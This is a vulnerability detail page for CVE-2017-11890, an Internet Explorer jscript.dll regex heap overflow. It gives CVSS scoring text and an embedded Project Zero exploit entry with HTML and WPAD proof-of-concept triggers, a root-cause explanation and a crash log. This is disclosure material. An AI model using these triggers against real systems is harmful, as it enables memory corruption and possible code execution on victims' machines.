CVE-2017-11890 : Detail

CVE-2017-11890

7.5
/
High
Overflow
77.28%V3
Network
2017-12-12
21h00 +00:00
2024-09-17
04h09 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allow an attacker to execute arbitrary code in the context of the current user, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11903, CVE-2017-11905, CVE-2017-11907, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43369

Publication date : 2017-12-18 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1369 There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service. - The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode. The issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied. PoC for Internet Explorer: ============================================ --> <!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> </head> <body> <script language="Jscript.Encode"> var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s; r = new RegExp(); r.compile(s); </script> </body> </html> <!-- ============================================ PoC for WPAD: ============================================ function FindProxyForURL(url, host) { var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s; r = new RegExp(); r.compile(s); return "DIRECT"; } =========================================== Technical details: The issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like: void RegExpBase::EnsureSpace(int desired_size) { if(desired_size > buffer_size) { if(2 * desired_size < desired_size) { //throw an exception } int new_size = 2 * desired_size; char * new_buffer = realloc(buffer, new_size); if(!new_buffer) { //throw an exception } buffer = new_buffer; buffer_size = new_size; } } Note that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer. Indeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process. Debug log (from IE, but it looks similar in the WPAD service): ============================================ (b90.698): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. msvcrt!memcpy+0x1d9: 000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=???? 0:012> r rax=0000000040000061 rbx=00000000042b7ea0 rcx=000000025bb60fe0 rdx=fffffffdfa4b0010 rsi=00000000042b5f48 rdi=000000004000000a rip=000007fefefe123d rsp=0000000012399ef8 rbp=0000000012399f28 r8=0000000040000008 r9=0000000000000000 r10=6100610061006100 r11=000000021bb60fd8 r12=0000000016010fe8 r13=000007feebc91670 r14=0000000020000001 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 msvcrt!memcpy+0x1d9: 000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=???? 0:012> k # Child-SP RetAddr Call Site 00 00000000`12399ef8 000007fe`ebc88bb3 msvcrt!memcpy+0x1d9 01 00000000`12399f00 000007fe`ebcfacc2 jscript!RegExpComp::Compile+0x1b7 02 00000000`12399f60 000007fe`ebce2118 jscript!RegExpComp::CompileDynamic+0x62 03 00000000`12399fa0 000007fe`ebce3310 jscript!RegExpObj::Compile+0x32c 04 00000000`1239a0f0 000007fe`ebc7c2ec jscript!JsRegExpCompile+0x70 05 00000000`1239a140 000007fe`ebc7a9fe jscript!NatFncObj::Call+0x138 06 00000000`1239a1f0 000007fe`ebc7b234 jscript!NameTbl::InvokeInternal+0x3f8 07 00000000`1239a310 000007fe`ebc79852 jscript!VAR::InvokeByName+0x81c 08 00000000`1239a520 000007fe`ebc79929 jscript!VAR::InvokeDispName+0x72 09 00000000`1239a5a0 000007fe`ebc724b8 jscript!VAR::InvokeByDispID+0x1229 0a 00000000`1239a5f0 000007fe`ebc78ec2 jscript!CScriptRuntime::Run+0x5a6 0b 00000000`1239b3f0 000007fe`ebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 0c 00000000`1239b600 000007fe`ebc78b95 jscript!ScrFncObj::Call+0xb7 0d 00000000`1239b6a0 000007fe`ebc7e6c0 jscript!CSession::Execute+0x19e 0e 00000000`1239b770 000007fe`ebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a 0f 00000000`1239b840 000007fe`ebc868d6 jscript!COleScript::ParseScriptTextCore+0x267 10 00000000`1239b930 000007fe`ecdf5251 jscript!COleScript::ParseScriptText+0x56 11 00000000`1239b990 000007fe`ed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 12 00000000`1239ba10 000007fe`ecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f 13 00000000`1239baf0 000007fe`ecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9 14 00000000`1239bcc0 000007fe`ecdf5a11 MSHTML!CScriptData::Execute+0x283 15 00000000`1239bd80 000007fe`ed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101 16 00000000`1239bdc0 000007fe`ece98a5b MSHTML!CHtmParseBase::Execute+0x235 17 00000000`1239be60 000007fe`ecd72e39 MSHTML!CHtmPost::Broadcast+0x90 18 00000000`1239bea0 000007fe`ecdccaef MSHTML!CHtmPost::Exec+0x4bb 19 00000000`1239c0b0 000007fe`ecdcca40 MSHTML!CHtmPost::Run+0x3f 1a 00000000`1239c0e0 000007fe`ecdcda12 MSHTML!PostManExecute+0x70 1b 00000000`1239c160 000007fe`ecdd0843 MSHTML!PostManResume+0xa1 1c 00000000`1239c1a0 000007fe`ecdb6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1d 00000000`1239c1f0 000007fe`ed5e4f78 MSHTML!CDwnChan::OnMethodCall+0x41 1e 00000000`1239c220 000007fe`eccd9d75 MSHTML!GlobalWndOnMethodCall+0x240 1f 00000000`1239c2c0 00000000`77229bbd MSHTML!GlobalWndProc+0x150 20 00000000`1239c340 00000000`772298c2 USER32!UserCallWinProcCheckWow+0x1ad 21 00000000`1239c400 000007fe`f29d4a87 USER32!DispatchMessageWorker+0x3b5 22 00000000`1239c480 000007fe`f29dbabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 23 00000000`1239f700 000007fe`fd73572f IEFRAME!LCIETab_ThreadProc+0x3a3 24 00000000`1239f830 000007fe`ee62925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 25 00000000`1239f860 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 26 00000000`1239f8b0 00000000`7745a561 kernel32!BaseThreadInitThunk+0xd 27 00000000`1239f8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ============================================ -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

References

http://www.securityfocus.com/bid/102082
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039991
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43369/
Tags : exploit, x_refsource_EXPLOIT-DB